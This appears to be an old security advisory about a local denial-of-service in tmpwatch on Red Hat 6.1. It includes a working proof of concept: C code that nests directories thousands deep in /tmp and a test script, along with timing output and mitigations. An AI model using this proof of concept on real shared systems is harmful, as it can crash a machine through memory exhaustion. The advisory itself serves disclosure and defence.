COMMAND
tmpwatch
SYSTEMS AFFECTED
tmpwatch
PROBLEM
Zenith Parsec found following. Any user with write access to /tmp
or /var/tmp can cause redhat 6.1 (and others runnng tmpwatch from
cron) to stop responding, and possibly requre a hard reboot.
tmpwatch is a utility for automatically removing files that have
not been accessed for a specifiable period. This program runs as
root, an although there are numerous protections against it being
used to delete files it shouldn't, it does something very silly.
It fork()s new copies of itself off. 1 new process per level
deep it goes.
or
It goes down a level, and is now on the 1st level. It fork()s a
new copy of itself, which waits until its new process of itself...
goes down a level and fork()s a new copy of itself which waits
until its new process of itself goes down a level... and fork()s
a new copy of itself, which waits until its new process of itself
goes down a level... and fork()s a new copy of itself, which
waits ....... and finds no more works, so it pops back the the
previous copy of itself, and each one in turn then follows suit,
and pops back to the previous copy of itself, and pops back to
the previous copy of itself, and pops back to the previous copy
of itself, and pops back the final return result, which is
returned from the 1st level, to the shell, as the exit() value.
Not too bad for up to maybe 100 directory levels deep. Now
imagine that scaled up, say 60 times.
Make a directory 6000 deep in /tmp. At just after 4.00am the
system will die.
# grep daily /etc/crontab
02 4 * * * root run-parts /etc/cron.daily
# cat /etc/cron.daily/tmpwatch
/usr/sbin/tmpwatch 240 /tmp /var/tmp
/usr/sbin/tmpwatch -f 240 /var/catman/{X11R6/cat?,cat?,local/cat?}
# sleep --all-night
sleep: unrecognized option `--all-night'
# su zen-parse
$ time xchat
0.73user 0.09system 37:50:06.12elapsed 13%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (51084major+137298minor)pagefaults 0swaps
$
Code:
---START---cut---:a.c (mode 644)
//
// make lots of directories.
// ./a <#of-dirs>
// ./a with no arguments to delete dirs.
main(int argc,char *argv[])
{
int c=0,d=0;
if (argc!=2)
{
while(!chdir("./A"))c++;
chdir("..");
printf("c=%d removing\n",c);
while(!rmdir("./A")) {chdir("..");c--;}
if(c)printf("erm. bad thing.\n");
}
else
{
c=atoi(argv[1]);
printf("c=%d making.\n",c);
while(c--)
{
mkdir("./A",0777);
chdir("./A");
}
}
}
--END---cut-----:a.c
# ./testscript
(code follows)
---START---cut---:testscript (mode 755)
#!/bin/sh
# clear the previous stuff.
./a
rm ./timer.results
touch timer.results
# create a 1 deep
./a 1 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 100 deep
./a 100 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 200 deep
./a 200 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 300 deep
./a 300 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 400 deep
./a 400 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 500 deep
./a 500 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 600 deep
./a 600 >>timer.results
time tmpwatch 240 . 2>>timer.results
#tidy up.
./a >>timer.results
--END---cut-----:testscript
If you don't want to test it manually, here you will find the
results on the tests on my machine. Who says you need an Athlon
with cable or DSL. This program would probably die faster and
more spectacularly on a fast machine with a huge amount of memory
and swap space. Save anything important. And you have to run it
as root. The crontab is an effective way of getting it run
as root. Which it wants to do anyway. At about 4am everyday.
--START---cut---:timer.results (mode 644)
c=1 making.
0.00user 0.01system 0:00.00elapsed 125%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (96major+58minor)pagefaults 0swaps
c=100 making.
0.01user 0.19system 0:00.19elapsed 100%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (96major+1797minor)pagefaults 0swaps
c=200 making.
0.07user 0.40system 0:00.49elapsed 94%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (96major+3554minor)pagefaults 0swaps
c=300 making.
0.10user 0.66system 0:00.76elapsed 99%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (96major+5308minor)pagefaults 0swaps
c=400 making.
0.13user 1.33system 0:11.80elapsed 12%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (11766major+9445minor)pagefaults 1263swaps
c=500 making.
0.15user 2.11system 0:22.38elapsed 10%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (14104major+13238minor)pagefaults 2699swaps
c=600 making.
0.21user 2.81system 0:32.61elapsed 9%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (26066major+17781minor)pagefaults 4109swaps
c=600 removing
c=600 making.
0.11user 2.88system 0:36.14elapsed 8%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (25741major+17567minor)pagefaults 4009swaps
c=700 making.
0.20user 4.24system 0:45.95elapsed 9%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (35562major+22180minor)pagefaults 5542swaps
c=800 making.
Command terminated by signal 2
0.00user 0.00system 6:01.87elapsed 0%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (102major+18minor)pagefaults 10swaps
--END---cut-----:timer.results
System is Cyrix-6x86 @ 187 MHz, 32M physical ram, 64M swap.
^C was pressed after about a minute into the 800 deep one. Several
system programs died due to memory starvation. It took a quite a
while afterwards before the console regained any usabilty. When
Zenith tried to run startx, it refused to start. xfs had died.
everything looked odd. Slow motion. i
# uptime
9:00pm up 2:14, 2 users, load average: 202.28, 363.68, 186.46
That was a couple of minutes after running the test script.
SOLUTION
First thing that comes to mind is:
# chmod 400 /etc/cron.daily/tmpwatch
# chmod 400 /usr/sbin/tmpwatch
Generally, you can set quota limit for inode-softlimit and
inode-hardlimit (you should set it for /tmp filesystem, when you
have users on your machine). For example:
inodes in use: 1, limits (soft =512 , hard = 1024)
Then user can not create more than 1024 files or directories, Of
course you can set more restrictive limits.
The is one of the kinds of vulnerabilities that stmpclean has been
designed to avoid.
ftp://ftp.mccme.ru/users/shalunov/stmpclean-0.1.tar.gz